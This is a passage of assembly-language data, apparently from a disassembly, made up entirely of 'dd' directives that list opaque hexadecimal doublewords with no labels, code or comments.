		dd 0E840A563h, 0F8909A8Bh, 18884E32h, 0F6D84134h, 0D67840F6h
		dd 0C1D3EDA2h, 9043ED12h, 241924B5h, 11AC9990h,	0AB9601D4h
		dd 2B68420h, 0C87E44EBh, 5041416Ch, 16C020E3h, 90369124h
		dd 86E2E109h, 0F410F858h, 12509864h, 5076676h, 5F3174Ch
		dd 38C455E0h, 5F1102E4h, 0BE0CAC6Fh, 1BA8D8CBh,	32C83450h
		dd 8514B6Ch, 211F2436h,	8021A90h, 0EC4CC816h, 87F51287h
		dd 5067384Ch, 52061476h, 0BBB0C0CFh, 0F20C2FFh,	337E263Fh
		dd 0D2360A4Ch, 8E276F14h, 9E86086Bh, 20A813D2h,	0A2303C70h
		dd 0E730F051h, 820AEC0h, 0E9FF20FCh, 2013E89h, 4776D634h
		dd 8610812Ch, 1287F20Eh, 0B6DC811Eh, 0A44E728Ah, 4BA06C1Dh
		dd 380465EBh, 2C68D5FEh, 0AC1C3224h, 2D96521Ch,	8A6009h
		dd 7D939698h, 0D15624CFh, 74B6069Ch, 0BD41D0A3h, 98F711E0h
		dd 1E0A558h, 94A6FA6Dh,	0B2BE0133h, 285679D4h, 5BCEF6Eh
		dd 0B6730459h, 0CAC1FCBh, 0D5186586h, 26082C65h, 4B0DA01Fh
		dd 0C0C2083Eh, 92C9D608h, 1058E4h, 4D64A813h, 0E108CD80h
		dd 8461FE74h, 28983073h, 706A462Ch, 0C62A108h, 0A3203E9Eh
		dd 5B0F10DFh, 25131F45h, 2F16BC49h, 9E43AF24h, 0B91F6113h
		dd 4508DDD8h, 8868C6E9h, 851810D4h, 99805B3Bh, 3E60CCD5h
		dd 28DE8209h, 6044880Ch, 0C01B48AAh, 0E538CF30h, 40DC2189h
		dd 0EDA50870h, 3910C42Ah, 42D88323h, 0CC61A086h, 60318810h
		dd 39624889h, 71F2BC02h, 18417003h, 0C0DF8918h,	38CE2EA7h
		dd 401990A4h, 51CA3030h, 9BB72880h, 0B938D108h,	0F047F94Ch
		dd 3640FA17h, 14C0DAB2h, 0F86C5176h, 8722E19h, 5FB8640Eh
		dd 0D958C0B2h, 0DD161840h, 62D3D608h, 0FCA6108Fh, 1B0E8040h
		dd 2C244C90h, 0B30C2428h, 63301826h, 0E2E628FEh, 395E2013h
		dd 56091C18h, 2E1490B1h, 986C9536h, 4AD6086Dh, 88309CB0h
		dd 0F396A039h, 315CB0AEh, 5C0F661h, 0EC97E3B6h,	0F448DE11h
		dd 0BC86E0ECh, 14EE3C99h, 0BA24044Ch, 0BB142340h, 459CC304h
		dd 947E031Ah, 0C9A0294Dh, 2CAA8F14h, 112A424h, 7A907D9Eh
		dd 1534050Bh, 2C88A7E7h, 0D628C27Ah, 2C943811h,	0BBE77E0Ch
		dd 505E8163h, 5496A080h, 4808A45Ah, 8524942Bh, 11E80410h
		dd 8E4D616h, 0B4A3D0F8h, 4A46DC3h, 98C13B08h, 1430C543h
		dd 0F09B74A4h, 24E0B0E1h, 9941928h, 4805A5C8h, 28C8A65h
		dd 7885E9CEh, 0BCFE0130h, 802433D6h, 3724D5B9h,	1EB8C31Fh
		dd 881323E2h, 880649F8h, 4838212Bh, 0C66BD4AEh,	0AC43D020h
		dd 1D0336CDh, 0B176C90Eh, 1CCBA50Ch, 661D653Ah,	0BE3AE02Ch
		dd 24C48AFh, 0B6EB0FE2h, 2844E0D4h, 0C08948Ah, 0A601B27h
		dd 0C881E65h, 0CAB68404h, 429668C0h, 0C0B499A8h, 9DA144B4h
		dd 20DE3440h, 901658Bh,	0D6C87930h, 90CCC0E5h, 0E1A8A06Bh
		dd 749C90D1h, 0C3F499D2h, 0BDA9BCA5h, 7EB03014h, 90240531h
		dd 48D05E44h, 0C0D42995h, 0E86660A8h, 0FD594557h, 0FC0F2A30h
		dd 5708A4FBh, 7C768837h, 8124A578h, 0E36F3C5Dh,	3E789309h
		dd 18CBD428h, 21577A39h, 32481A5Eh, 0C34C0914h,	36065CFh
		dd 0DC0CC9A4h, 23FE310Ch, 296EC82Ah, 60D8CFCAh,	51E7A1B4h
		dd 891E31C0h, 4D76F1A8h, 7312BCEAh, 8C24381Bh, 0B2603B71h
		dd 0DB41BE39h, 6DB62EF1h, 4DDBA24h, 831C7F29h, 732FF10Bh
		dd 45DC41DDh, 3036EB01h, 0F8B97EC7h, 5105F961h,	0F42503EDh
		dd 24EB02F8h, 0A150D3F6h, 6D3D40A8h, 31C76F2Bh,	8E2B389Eh
		dd 8557CEA8h, 5C939516h, 88A043ACh, 31849400h, 0EA7BEF8Ch
		dd 83016200h, 33AEB40Dh, 22FE00A9h, 4CCADD1h, 3E05A8DDh
		dd 7127F869h, 578D1C01h, 0D4102B12h, 6B8103E6h,	0E7144Ch
		dd 8254BE1Fh, 62740D8Eh, 60ADEB21h, 0CC7328E3h,	60500C6Fh
		dd 7EA9EED8h, 29078E74h, 0A36589DDh, 0E6340D80h, 0ECA848DCh
		dd 0CAEF900h, 0BE25BB2Dh, 0F1C7153h, 0A043DB56h, 5401ECD7h
		dd 0B0FA63BDh, 800FBBFh, 6C178F82h, 56AD197Ah, 0F51E3CDEh
		dd 0C935D889h, 0F700C3F4h, 92A73EA9h, 0A66FAC17h, 0AB4E0618h
		dd 0A8A2A993h, 31971430h, 5618C599h, 0FF0350ECh, 0A6C7BA92h
		dd 6AB43014h, 0E5BC010h, 80ABB6AFh, 220CD6D4h, 8819EA8h
		dd 0D013611Eh, 8F38CADEh, 27F0808h, 37039Eh, 0C179ACFh
		dd 0A84BA003h, 0E0FF275Eh, 7BEB01Eh, 26909E25h,	3066C5ADh
		dd 0FF394A3Ch, 74F4E354h, 603A8233h, 0FE081B44h, 9EC2680Eh
		dd 1CECA080h, 81E81A7Ch, 4C18B207h, 0FE11A80Eh,	0E8410ADAh
		dd 689DE023h, 8C1A8599h, 709C2878h, 0E91FA837h,	1D80B8B3h
		dd 298D9168h, 9C0B60ECh, 0A44908A1h, 0B4892808h, 84939E28h
		dd 80A41E52h, 0B98592D8h, 54E4A043h, 1690A2A9h,	11207CF8h
		dd 35F1492h, 1EAEEEEFh,	885852DCh, 0A21DB9C1h, 3040C6C7h
		dd 8812C514h, 74280C18h, 45C80C7Bh, 0B4585C14h,	18132A05h
		dd 1430C26Ch, 315D2903h, 0D450D509h, 0CC289523h, 60AA8054h
		dd 834B4C58h, 190956F8h, 9B604891h, 6F07F79Ah, 0FF652844h
		dd 0F8D0105Ah, 6AE3C6A3h, 7838DF83h, 18870A34h,	0AC0142Ch
		dd 244EC7BEh, 1FA8EA10h, 407829E0h, 2C6AF55Ch, 1EBA102h
		dd 9488BCF4h, 0EF430564h, 4560C412h, 283EA0A0h,	0A918DA3Ch
		dd 0B451631Dh, 21970465h, 87D06F5Eh, 3CCD0034h,	7A7CE7ACh
		dd 0B3A40C19h, 5021DC48h, 1F85781Ch, 20093311h,	3F1D403h
		dd 50C2DE26h, 74D1AC58h, 0E109413Ch, 5E9030D3h,	4C34EE24h
		dd 0A849FB00h, 0C7196DEh, 7CBC6C21h, 36248808h,	0E05B7018h
		dd 92D8E5C3h, 22741340h, 902038A3h, 0B97D7F72h,	0ECC5E8DEh
		dd 0B02C1A6Bh, 18740AFAh, 89D86580h, 281C2CBBh,	9082E40Fh
		dd 281E9A5h, 6729C47Ch,	0F3DF0144h, 57ADF124h, 3881F5D8h
		dd 0D9195FECh, 1429F622h, 0ACB082EEh, 16B4A2C5h, 5880822Eh
		dd 10CC704h, 0F4B46CFDh, 0CE51075Eh, 91E80506h,	57012451h
		dd 0E9C850DCh, 71C173FEh, 26020ED4h, 75ECDF4h, 16117BF8h
		dd 24936004h, 29F85BA7h, 193DF901h, 5173F74Ah, 29D10BF4h
		dd 1418CEh, 0ACB6B0CBh,	0D3E44CF7h, 0B019BF0h, 1682A011h
		dd 184CC8F1h, 1AD007Bh,	0F321290Fh, 900540B3h, 17B5710Bh
		dd 0CD1F1421h, 0C4FC45ECh, 5D91358h, 2830C4B1h,	781755Ah
		dd 0F74BAEE1h, 169521F3h, 413C0A91h, 0F0097788h, 96615300h
		dd 8ECC1116h, 33DAAF3Ah, 8933F970h, 645C170Bh, 29CA0DE2h
		dd 0EC50E066h, 0B00B0E3h, 2C066791h, 0A5A9B6B1h, 3A230144h
		dd 0F1810Fh, 809F9773h,	30CDA4BBh, 741C10CBh, 3F6A153Dh
		dd 0D301886Eh, 0FB06E57Ch, 11304CBBh, 9F37C008h, 0E2B30AD8h
		dd 0A4B100C4h, 0B0511AB7h, 5B021C0Ah, 0A06030C7h, 506B3384h
		dd 0B13A4B6h, 0B11B0D64h, 0F8C005DDh, 0E63B4860h, 81A0183Fh
		dd 357D101Fh, 0C8FB0418h, 77B2A909h, 3F9100A8h,	0DAE7ED09h
		dd 20C06C6Eh, 88D9DB64h
		dd 0A54D042Fh, 80C1F563h, 0F3A20489h, 9C003577h, 607905DFh
		dd 1452EAAh, 0F428ACEDh, 93469036h, 0B2F8A860h,	765FE600h
		dd 625937E8h, 21C03BE8h, 4AB51388h, 0E37B004Ch,	3D93AA79h
		dd 77FA2CB9h, 1E35344Ch, 6800B1EAh, 28AF1F87h, 7354A41Ah
		dd 8AEF00ECh, 0D6391791h, 0D500DDBEh, 4008BA31h, 7A9EC7Eh
		dd 30D288A8h, 0BB07900Fh, 7AF0DB59h, 0F165C70Fh, 622F800Dh
		dd 493C12h, 0DF1002B1h,	7CC60B4Bh, 0CBFEA70Fh, 0D9F58044h
		dd 30564D4Fh, 0C0787D58h, 10080E9Ch, 42BA3201h,	0CC000FE1h
		dd 39BC89FDh, 96804BB4h, 46E5841Fh, 5F00E390h, 16BB8647h
		dd 63EE6Ch, 0C65BB145h,	2B6F0265h, 856AD700h, 7C9B925Ah
		dd 9E5300E1h, 0D17140C1h, 0E80E4FA5h, 40BB3229h, 103B47DDh
		dd 1BE0A8h, 409D3A3Fh, 22C37CA3h, 0E8B1060Fh, 9AA0A078h
		dd 1D65052h, 8BEAF545h,	0D8B6FDD2h, 9818AA27h, 0C982C2DCh
		dd 241213E8h, 0F26D001Fh, 0CDAA26E4h, 90719B00h, 2BDDE689h
		dd 533B0223h, 63646951h, 0C8E3BF40h, 19002A79h,	0F09650A2h
		dd 1F066127h, 0C09C9913h, 0DB9F7DB5h, 0C973F457h, 0F52E2800h
		dd 0EBC5FF34h, 39ECDDh,	0A414B176h, 0B9F2B65Ah,	49959730h
		dd 0E7805B7Eh, 0E2D7ECh, 47484C59h, 0B71890A0h,	4B2C8870h
		dd 0E6002680h, 3C1E22E4h, 1A93AEDh, 5AA08480h, 1C992D10h
		dd 0C297D418h, 64ED518h, 0A99DE1E8h, 0AA00685Ah, 7DF32865h
		dd 73313BCh, 0B567DAE9h, 20AD4026h, 40F540EDh, 14496D88h
		dd 4FF440h, 27EF1365h, 0BFC31CA6h, 9915C800h, 48E9558Ch
		dd 7B2E037h, 546B7E17h,	0A8205F90h, 4A6F8BA6h, 0E450B500h
		dd 0A3C53CF1h, 61C71F25h, 0FEE2402Fh, 292417DCh, 0A20AE005h
		dd 46C4DE9h, 778900ECh,	76A8A662h, 5A1FF2B5h, 807D5F2Fh
		dd 0A9D5AE3Eh, 0EF3F8CAh, 9D99A456h, 0B2003A1Eh, 48AEA65Bh
		dd 0CE010E04h, 0C1F418E0h, 64D9C942h, 0D775F0h,	6B49E2DEh
		dd 70FA35AEh, 2EF90400h, 0DD33EAABh, 30EB7409h,	1A203BC7h
		dd 0ED739267h, 64023601h, 0C2F2159h, 91D824C5h,	0BBDB07A3h
		dd 0E0795241h, 8FC220C3h, 0B0455528h, 6ADD6E00h, 70C76F51h
		dd 0BA21F7E1h, 6254C8h,	0F368D574h, 8ECF9AAh, 91FA0100h
		dd 5B5925DAh, 7C7C7Fh, 7B976419h, 0ACCF5558h, 0BC47F81Eh
		dd 0A6374980h, 1FCB46h,	57A98F6Eh, 123C67E2h, 0BAB58E00h
		dd 68381C19h, 0E1F400CBh, 593A8818h, 0B20CC29Eh, 8955B108h
		dd 0EF2D04B0h, 31ABC36Ah, 0CD00D9AFh, 0B0073A9h, 6A5FC461h
		dd 733CD8D4h, 803350C9h, 0BF550086h, 384734BBh,	6201824Eh
		dd 0DA139722h, 88C9AAEh, 0B2205973h, 0FA6D6A1Ch, 3ECB7E00h
		dd 90523082h, 0DB6300E2h, 42885846h, 2F1EC55Bh,	3600472Ah
		dd 0C432B80h, 136F07DCh, 40687FECh, 58400176h, 4C993Dh
		dd 520D5D6h, 0DD02B4h, 0F84446B5h, 42DECE9Ah, 0D625B8A8h
		dd 1851D400h, 4315A585h, 34C0542Ch, 0EC2B0249h,	14A6A4F5h
		dd 0C02D5710h, 39C62020h, 44F8CBD2h, 6B8EAD06h,	21B05974h
		dd 81BDDB17h, 5E118F3Ah, 390A14A1h, 0FB2B8795h,	803E5522h
		dd 0D93EDAC5h, 0C3E00010h, 9FCEECF7h, 5E3A8370h, 6FFF80D3h
		dd 0E4F809CFh, 0A423548Ch, 17641C78h, 195A4FCBh, 0A82C2281h
		dd 0BF97E8C3h, 28C02DE4h, 5EF51EA7h, 0E1D704Eh,	0FF0E442Ah
		dd 5620138Fh, 0FAB58134h, 7ECD4B00h, 259BCC60h,	5BBC0C17h
		dd 9468C2D0h, 0C3ADB800h, 7BD3E783h, 72B02Dh, 0E82617D4h
		dd 362FF8D2h, 6B607300h, 0AA91AF6h, 515F0145h, 0DA153AE3h
		dd 0CE25E8A6h, 0CCDB420Fh, 0BAAFA1CBh, 0B8D347DEh, 0A9988Ch
		dd 0B7437507h, 63A7C58Dh, 501DE3ECh, 0A6011792h, 714B8AC3h
		dd 78EBBD4h, 6501D296h,	0A3E20B7h, 0A739FB7Ah, 0B8F93E08h
		dd 0C5A90089h, 4131B5ECh, 1886E615h, 8E35E5Fh, 851EDEF2h
		dd 0EF004CC5h, 0B364F4EDh, 14CD0312h, 0FB539AC1h, 0BB76F580h
		dd 40900D00h, 308F660Ch, 0B9BFAA5h, 1B16D050h, 3F725A80h
		dd 401D490h, 0CA541C70h, 0D5D029D1h, 0B5030053h, 0D3FB7999h
		dd 7C00FA16h, 0D62D6D25h, 7A6C80h, 8ED8AC86h, 41C09068h
		dd 0BAD58A0Fh, 8CEE60DFh, 0A926218h, 966B1494h,	53E500B5h
		dd 36703CBAh, 1831213Ah, 0F920A062h, 0D5B5006Ah, 6487F4B8h
		dd 2A3B3878h, 94600061h, 534D4108h, 0AE7BB0h, 0DE18C902h
		dd 0E152712Eh, 0B5FBE403h, 0C9C37492h, 99C41270h, 0FD0D0095h
		dd 39B0945Eh, 4D0092B6h, 281A524Bh, 3859D3EFh, 5C009BDEh
		dd 0FF73A06Eh, 0CE0C8653h, 3034695Dh, 1CDA7166h, 5ED24D04h
		dd 41C1804Fh, 5CE0DD20h, 902EC228h, 0FBAD7F00h,	0D9B25D99h
		dd 0D45407D2h, 7033DCEBh, 0F228D5A7h, 517DE600h, 4A34C579h
		dd 5CE90A94h, 80C01F63h, 4EAEFB9Eh, 0BD852618h,	3F956B80h
		dd 83A38E6Fh, 11C25Ch, 0CC120F07h, 0A5A63Ah, 102B0C85h
		dd 0E753780h, 0D2D250Bh, 11A5002Eh, 478443h, 4E12149Eh
		dd 7D348FF2h, 327A6605h, 0B400CE83h, 799FE54Dh,	0A3710381h
		dd 0FC53D4Bh, 1AE8A01Fh, 972C7500h, 0C37BF3h, 0E1B4FEC9h
		dd 0A960AA92h, 6EBE1418h, 0F6660h, 234E8FEAh, 9C845B17h
		dd 0E54F430Eh, 0ED9FC0ADh, 57B0B7h, 42C38EDBh, 1492B499h
		dd 0F250F100h, 736A4421h, 3061000Ah, 0D41D063Ah, 0CA51ED70h
		dd 79A881F8h, 1E166440h, 0F7E03883h, 3488486Ah,	0A41D7E5Bh
		dd 6C8246DCh, 409024B1h, 49517FA5h, 5E9C7855h, 78548495h
		dd 81F83727h, 0BBFB63FCh, 0CCC8EF3Ah, 9F0A3FA9h, 0B446BF92h
		dd 40737E0Eh, 0DCC9ACD3h, 16100C6h, 318A193Ah, 50001D62h
		dd 46FB2734h, 0ECBEA203h, 16A31ADAh, 794020A7h,	0DD00D295h
		dd 0CF7EBD99h, 4D0114h,	0B33B0D93h, 0FAD447F6h,	0C3905C00h
		dd 0A0740CE5h, 64300C5h, 61CBC7BDh, 3D176240h, 6C0FDC70h
		dd 83758B4Ch, 0A318FAF5h, 3B410074h, 8F1D9E69h,	6C00D39Ch
		dd 0BF91DF09h, 0FC97B6h, 0C023901Fh, 0F9FE9A65h, 5B795C07h
		dd 31C0A557h, 0B7A602h,	455AFD06h, 0B39C71CDh, 3D66DB1Bh
		dd 4AEB9820h, 51EC46h, 7B731121h, 7E6FB252h, 2BFE580Fh
		dd 0C9C92CA5h, 2F060114h, 3169485Eh, 0FC74C5A8h, 7F00C734h
		dd 8CFDBC43h, 78DA647h,	0C077AEA7h, 0C790C3A0h,	81E7F3A0h
		dd 1148F167h, 2604DEF0h, 8AE00C31h, 30082C36h, 0F19088A0h
		dd 97D94C00h, 438BFD9Eh, 1FBE01CCh, 198F3772h, 7800EFA9h
		dd 0F7864DD8h, 98319Ch,	0BC99DAFCh, 16F3E3C7h, 43CBB106h
		dd 4E8B652h, 730D1062h,	50D5C791h, 0D181BA1Ah, 8B164E00h
		dd 9A4F6FF7h, 58C850D7h, 0C5028CEEh, 6922A9D8h,	67E418DBh
		dd 8E3A80h, 66CF6E53h, 0A4B415C4h, 0F300F8FCh, 0FDE6C7EDh
		dd 511C3D5Bh, 9AE4A4CDh, 0D4D0A86Ch, 535400F4h,	6F27D175h
		dd 5C77D318h, 66E31E00h, 356DCAB1h, 0D86554F6h,	1003008Fh
		dd 0D5D0D3B9h, 501875AFh, 0B33070FAh, 7F112842h, 0C1A90088h
		dd 67ED6D59h, 263823CDh, 0FF3B0146h, 5E91DA05h,	0D8004047h
		dd 12620A6Dh, 3254F261h, 0FDE01180h, 7C9060DEh,	0D30080A5h
		dd 0C77D5E81h, 0F6AA0475h, 0C003E16Ch, 0A0C5B32Ch, 4ECC0806h
		dd 0B0907EE7h, 878200DCh, 0DECFD0B8h, 0E0003718h, 29EFCE2Ah
		dd 0E0E72E4Ah, 946600BAh, 0FF799BA5h, 59544563h, 95042448h
		dd 0D9B8DED3h, 681E9C2Ch, 0CF80255Eh, 0FD4115D0h, 0BB7300B8h
		dd 4E4BB67Dh, 5A549E61h, 79006D28h, 0FD04D360h,	2BB2B4h
		dd 8D78B536h, 0F20374DDh
		dd 0A906D771h, 886F6810h, 5520719h, 0F0189C5Bh,	60072C0Ch
		dd 0CE0C4C72h, 0F42956C7h, 0D96F1830h, 0F03430A0h, 0A464F00h
		dd 0DE45BE64h, 94EF0076h, 0CCD19EC2h, 5E00D7FAh, 0CF6C4703h
		dd 15D0D69h, 282D8F8Bh,	0D4BB59E9h, 106FCB4h, 4F4554D0h
		dd 0A310189h, 65C7D951h, 710BDACh, 50B3D530h, 0CCEF87C0h
		dd 1E2A7416h, 0C00C3839h, 6CB0853Fh, 12787235h,	0F69F40C2h
		dd 44E1019h, 2121D673h,	1F1B919Eh, 7FC047EDh, 3179AB98h
		dd 0A4115094h, 271204D9h, 0C70BCA2Bh, 3BA72044h, 0BC75D0C1h
		dd 0A948F5F6h, 0DD940F49h, 0B06C80EBh, 22BD5Ah,	2CB19A59h
		dd 0E0ABCAC3h, 0D5F73B00h, 5482376Dh, 0C2E10D5Fh, 0FE813ADFh
		dd 0A0E1E357h, 9EA101h,	6DA00667h, 8DCB7A36h, 4F004AF8h
		dd 83D3A305h, 0F65375h,	0A2A8CDD0h, 5D5B7785h, 43C798A5h
		dd 0BD376098h, 7600416Bh, 60C13E6Eh, 0B9A002h, 0CDE57BA2h
		dd 0B22B944Fh, 6DEBD607h, 0FD805003h, 7AF8CBh, 8F305BD3h
		dd 8EEC3EDAh, 9C6D1228h, 0B9A5Ch, 0EFD7B146h, 2866DC7Bh
		dd 2EECAB01h, 20CAE415h, 77D83B98h, 0CFE02CD3h,	0E30F93F8h
		dd 67424ACEh, 77F15BC1h, 0DC534576h, 0A603B8FCh, 0E9FA00BDh
		dd 8E46060Fh, 0AC01571Ah, 7260BFC0h, 15D09933h,	79A4856h
		dd 89054006h, 8000101Eh, 75772C55h, 399C646h, 9838DA1Bh
		dd 9AE8EDAEh, 8F004DDBh, 8B14F911h, 0E42F4EFFh,	71E000D9h
		dd 758E5BF4h, 0F3F090CFh, 36FB500h, 838A8D41h, 9DD41DACh
		dd 9B530C47h, 7F00A720h, 0B94685BCh, 3F8E3121h,	0D103F6D9h
		dd 82C31E45h, 6713E098h, 76BD3A00h, 0DAD333FBh,	0AA0900E7h
		dd 9ECFF51Ah, 5501A6BFh, 3CE868EEh, 0C881202Eh,	0D9170AE0h
		dd 1E88061h, 46E45C07h,	6C79006Fh, 0D808A984h, 0F8E85344h
		dd 74216300h, 0F21DE1BAh, 0C5E73DFh, 0ACA61CCDh, 4F00F9F8h
		dd 0AE3D0EC1h, 3CB1D9B3h, 680D49Eh, 0B07ADE1Eh,	3A002A04h
		dd 6773C53Bh, 0C0E361h,	0D73EBD8Dh, 0C2AA5F7Eh,	90FEA860h
		dd 93D0F4h, 3D04298Bh, 34968FF7h, 0BEDFFB00h, 0C08ED39Fh
		dd 23A60072h, 719D83A9h, 39035999h, 0BF1BBDB2h,	98E028FDh
		dd 8A6A1DA7h, 263B80A1h, 495CCCA2h, 810086F2h, 62880796h
		dd 735624h, 0BBDFFEADh,	9F223799h, 4E42CD15h, 2F6605C4h
		dd 0F001E830h, 2BA61921h, 4996E0h, 0D5C42A51h, 54D31DDDh
		dd 1632C098h, 41D2396Eh, 6D871FFh, 0C0FCF41Ch, 0D457DD98h
		dd 4B00CE4Fh, 65087828h, 14FD200Bh, 41FD710h, 6A224081h
		dd 5E20C1C1h, 34089A0Ch, 24600030h, 955A567Bh, 0D200CFADh
		dd 0A6B243A7h, 304075A3h, 0A419961Fh, 45038E6Ch, 0ACC9630Bh
		dd 0A99B88BBh, 86642C0h, 95BCF6B1h, 66141818h, 0F4100CFBh
		dd 0F00D8E6Bh, 20802C84h, 0FB297DE1h, 864E801h,	18F55078h
		dd 0C3218660h, 9F3C087Bh, 847CEA42h, 0DD30380Ch, 7FF82AE3h
		dd 95891800h, 570F34EAh, 0FFBE10D8h, 0A0AD10AEh, 0A89B930Eh
		dd 0B5DF8B40h, 21007915h, 0C94CC58h, 0F85DE17h,	9655CEDCh
		dd 0A62A5420h, 0AB2C3C0Eh, 0DB00ADFCh, 7203B90Ch, 0F45F0E75h
		dd 53801593h, 0C5DC84A3h, 0E883F700h, 0B1858063h, 0EDAB008Ah
		dd 0F4781DB3h, 8800B4ECh, 0D80DD31Eh, 0A0475Ch,	0F7B9E775h
		dd 0F0310C5Bh, 0CACDA40Eh, 2AC580F3h, 0F232CEB3h, 0FC470062h
		dd 163C081Ah, 0DA74582Bh, 0C4C1052h, 0C1EEEF67h, 0C40D019Fh
		dd 894A2852h, 91C6038h,	49A9EC1Ch, 0F81C7BE4h, 78226607h
		dd 63DC4670h, 0ADA3009Fh, 994EECC7h, 0D11E76F5h, 3FC08AB4h
		dd 44FCA8AFh, 1CF956D6h, 0F3A20110h, 7F619089h,	7F77ABBh
		dd 3C711BAFh, 8BC94066h, 0CE003936h, 6A62B013h,	56899C5Ah
		dd 0D400C028h, 0CAA6272Ah, 0C02EDA3h, 72C3F761h, 0A0148F1Bh
		dd 0B655E493h, 544E803Fh, 25FD5300h, 7386898Ah,	1447E8FEh
		dd 5C4AAA5Ch, 4900248Bh, 0ECC32BB0h, 41B4BA00h,	0E9E1E2EDh
		dd 9EDF00DDh, 68025DE5h, 0D53C4459h, 60B11327h,	97761B00h
		dd 6EDF22h, 0B8E6E8F9h,	27E208C4h, 0AF1C71EAh, 0C7015F90h
		dd 28DECDDDh, 1001445h,	8DD78F55h, 29AE1C10h, 47350096h
		dd 61692B76h, 38442F3Ah, 0AE0070DEh, 84F29701h,	1D9880A1h
		dd 2ED3CCFh, 0BE8647A7h, 0E80A589Fh, 3A584CF4h,	0B8362C9Ah
		dd 4D7C0118h, 40858DD1h, 0E6E12FEAh, 84B06E7Dh,	0D30F731Bh
		dd 0E36BB110h, 0C234180h, 189675Fh, 31C0B77Bh, 0D0D4ECA2h
		dd 569500CFh, 0DE522E02h, 75009F62h, 2B1E3405h,	0E1FAC5Ch
		dd 29B7DA3h, 6B570FBEh,	86642D60h, 54067A74h, 0A0237590h
		dd 0E884C01Eh, 97D0E652h, 0F4459500h, 9DFA41Ah,	0D13C0FCDh
		dd 0EEE0E489h, 3676E34Bh, 0BD05183Ch, 0B9E2306Eh, 0F601FB09h
		dd 3F84E6F5h, 0CD00E5DEh, 2F5EE4F1h, 4A0A94D3h,	0ACE03CD1h
		dd 7D0D1E57h, 87B7D287h, 2E000F33h, 7509E946h, 0F968540Fh
		dd 0E160AF21h, 0C3035345h, 71B7D7E8h, 76A80AFAh, 0FE44E3EDh
		dd 2924614h, 0D3405084h, 10B6E100h, 7247A275h, 734937Ah
		dd 0A0E36471h, 1C155942h, 0A5EEC370h, 1288EB3Dh, 0F0149EFh
		dd 2DCC9ABBh, 0E8C486C4h, 942000A5h, 9059DA10h,	0FCEC7F35h
		dd 0DD3C5C00h, 0E8BBF867h, 442D28D1h, 3D6E28D0h, 48F000BCh
		dd 5EB63380h, 0BB7E59CDh, 845C942Bh, 63494487h,	9DE5BB1h
		dd 0C8C0A047h, 3FF6158Fh, 0C00F0D4Bh, 796045A9h, 7DA8C7F9h
		dd 57360F14h, 38F80290h, 618E345Dh, 8450A9AAh, 7CA64F9h
		dd 714E91DBh, 5D9D8063h, 7C02053Dh, 5339E98Eh, 0A9D0A050h
		dd 7622FB56h, 86E209EFh, 6415E3B0h, 5EDEE3E1h, 39000833h
		dd 0E51B3D97h, 0D8E35464h, 430072E4h, 0D868D126h, 1FB98410h
		dd 40D692A3h, 0EC4432FDh, 5F03B249h, 0BE6BAFF9h, 0C97EC02Fh
		dd 996D3821h, 1BFC2B03h, 32A802C4h, 33012CBAh, 4AE7E261h
		dd 67DDD43Bh, 387B4BC0h, 0FB00CE1Eh, 7FC32EE8h,	0B6055C0Ah
		dd 3D195BEh, 0A022DC00h, 1D821093h, 288F16h, 9FB8214Eh
		dd 0A40EA9B7h, 0F1168DAh, 0CA2C60B3h, 79A017h, 8DE950E4h
		dd 0CEE371Bh, 4B435C13h, 0B5B25C00h, 1DFE6D35h,	40623902h
		dd 82DCC57Dh, 0E9003C48h, 0B980C940h, 6F351C4Fh, 5640085Ch
		dd 39E231B0h, 9E3A5077h, 79880051h, 20232DA9h, 0EE780395h
		dd 0E8DA3269h, 3622791Fh, 0AB98D740h, 0CD4490h,	742CD266h
		dd 8DAD84B5h, 603D1800h, 0ECC5A51Ah, 4CC0359h, 0DA17437h
		dd 0BC441008h, 0EAF00F2Ch, 21190306h, 5E33EB04h, 2840BDF6h
		dd 1AA363EDh, 3010868Bh, 8220DCE2h, 78C073B7h, 6831ADB8h
		dd 8F3B00E5h, 35505D25h, 8400FD87h, 0E65A8B3h, 6AE7874h
		dd 7966C122h, 1B0C3854h, 4097B0A2h, 349A008Dh, 90A973A8h
		dd 261AFAC8h, 4848C6h, 0B8EB119Ch, 1BFF3049h, 69F30190h
		dd 0A3B0A701h, 3D65BB9Dh, 1216C040h, 970B0034h,	0A29C9198h
		dd 500C5294h, 0C81F19A8h, 0A7A00078h, 8EF5F377h, 7C6715B3h
		dd 0BAF1FCA0h, 0E44863AAh, 0C3BD1E99h, 7B0EAF4h, 66C0E132h
		dd 1BE20059h, 0A738B8D4h, 2848BD1Ah, 0A27AD0B6h, 0B2BFE800h
		dd 7A69C290h, 0C63503EAh, 81064FE7h, 0B78834A3h, 4C033032h
		dd 0CBF21210h, 427BC8BDh, 0EC1D00BCh, 0EA08D925h, 9AF88E96h
		dd 0C5C18F00h, 78614DFBh, 4BC5A1F2h, 133A21FCh,	4E5218h
		dd 955F8DF7h, 0BD001F80h, 58CB1EC1h, 7615CA8Fh,	7877D60h
		dd 7F5CFF88h, 4F3090D7h, 59000C5Eh, 89EC7DB7h, 1660111h
		dd 92AA61C7h, 7033BCE8h
		dd 1B3C6096h, 7D2B8A70h, 0A502842Dh, 0DF71B6C4h, 0EB2182C0h
		dd 84A5E00h, 334FE8E6h,	31E004Eh, 1302492Ch, 0DE072587h
		dd 0B8793736h, 1689DC70h, 423800D0h, 76FC9E82h,	923CE69Ah
		dd 0CEC08E91h, 0F943209Ch, 0C6C7A6h, 0F30AFCDCh, 21F6ACAh
		dd 0D8812028h, 47A68C0Eh, 612C000Dh, 3EBAD443h,	73091A04h
		dd 24006D39h, 94527842h, 0C3309C78h, 0E8823866h, 0BAC003DFh
		dd 50364C8Ah, 51142811h, 867D611h, 6C156A4h, 0A0E8CA72h
		dd 0A910B018h, 415F4928h, 1159E511h, 0C99EBE3Ch, 6B50B0ACh
		dd 5E00603Ah, 0D08D5770h, 0CEC043Dh, 0EEF7CFC6h, 0C307DC08h
		dd 0B8D6135Bh, 80042F19h, 0C5FCE21Fh, 5AFD0105h, 6E319121h
		dd 5BF5F099h, 0C34CFB7Dh, 0A2AA0041h, 8495A14Ah, 19560054h
		dd 2A074B58h, 61ECE72h,	658028D6h, 612B9F4Ah, 0EFAC093Eh
		dd 5D80F27Bh, 6C48E0EBh, 857D6A02h, 40016BCDh, 0A382CCh
		dd 9E552074h, 6C21F0BDh, 5C99F700h, 9834F4E0h, 0E4713007h
		dd 0CA90BF60h, 0D0625D00h, 0E62E3EA7h, 79A30051h, 0D9E9BA40h
		dd 2B008D36h, 42E7F07Eh, 12E56AA0h, 41905BE0h, 3F195A28h
